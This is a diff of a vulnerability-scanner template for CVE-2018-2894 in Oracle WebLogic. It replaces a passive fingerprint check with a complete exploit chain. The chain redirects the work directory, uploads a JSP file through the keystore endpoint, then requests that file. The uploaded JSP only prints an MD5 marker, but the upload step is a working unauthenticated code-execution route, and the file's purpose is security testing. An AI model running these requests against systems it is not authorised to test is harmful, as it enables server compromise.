Added complete poc

cves/2018/CVE-2018-2894.yaml

@@ -2,25 +2,91 @@ id: CVE-2018-2894
 
 info:
   name: Oracle WebLogic RCE
-  author: geeknik
+  author: geeknik,pdteam
   description: Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
-  reference: https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/
   severity: critical
   tags: cve,cve2018,oracle,weblogic,rce
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.80
     cve-id: CVE-2018-2894
+  reference:
+    - https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/
+    - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/ws_utc/config.do"
+  - raw:
+      - |
+        POST /ws_utc/resources/setting/options HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        
+        setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80
+
+      - |
+        POST /ws_utc/resources/setting/keystore HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g
+        
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g
+        Content-Disposition: form-data; name="ks_name"
+        
+        {{randstr}}
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g
+        Content-Disposition: form-data; name="ks_edit_mode"
+        
+        false
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g
+        Content-Disposition: form-data; name="ks_password_front"
+        
+        
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g
+        Content-Disposition: form-data; name="ks_password"
+        
+        
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g
+        Content-Disposition: form-data; name="ks_password_changed"
+        
+        false
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g
+        Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp"
+        Content-Type: application/octet-stream
+        
+        <%@ page import="java.util.*,java.io.*"%>
+        <%@ page import="java.security.MessageDigest"%>
+        
+        <%
+        String cve = "CVE-2018-2894";
+        MessageDigest alg = MessageDigest.getInstance("MD5");
+        alg.reset(); 
+        alg.update(cve.getBytes());
+        byte[] digest = alg.digest();
+        StringBuffer hashedpasswd = new StringBuffer();
+        String hx;
+        for (int i=0;i<digest.length;i++){
+          hx =  Integer.toHexString(0xFF & digest[i]);
+          //0x03 is equal to 0x3, but we need 0x03 for our md5sum
+          if(hx.length() == 1){hx = "0" + hx;}
+          hashedpasswd.append(hx);
+        }
+        
+        out.println(hashedpasswd.toString());
+        %>
+        ------WebKitFormBoundaryuim0dyiDSPBPu31g--
+
+      - |
+        GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1
+        Host: {{Hostname}}
+
+    extractors:
+      - type: regex
+        name: id
+        internal: true
+        group: 1
+        regex:
+          - '<keyStoreItem><id>([0-9]+)</id><name>{{randstr}}'
 
-    redirects: true
     matchers:
       - type: word
         words:
-          - "* Copyright (c) 2005,2013, Oracle"
-          - "<title>settings</title>"
-        condition: and
+          - "26ec00a3a03f6bfc5226fd121567bb58" # MD5 (CVE-2018-2894)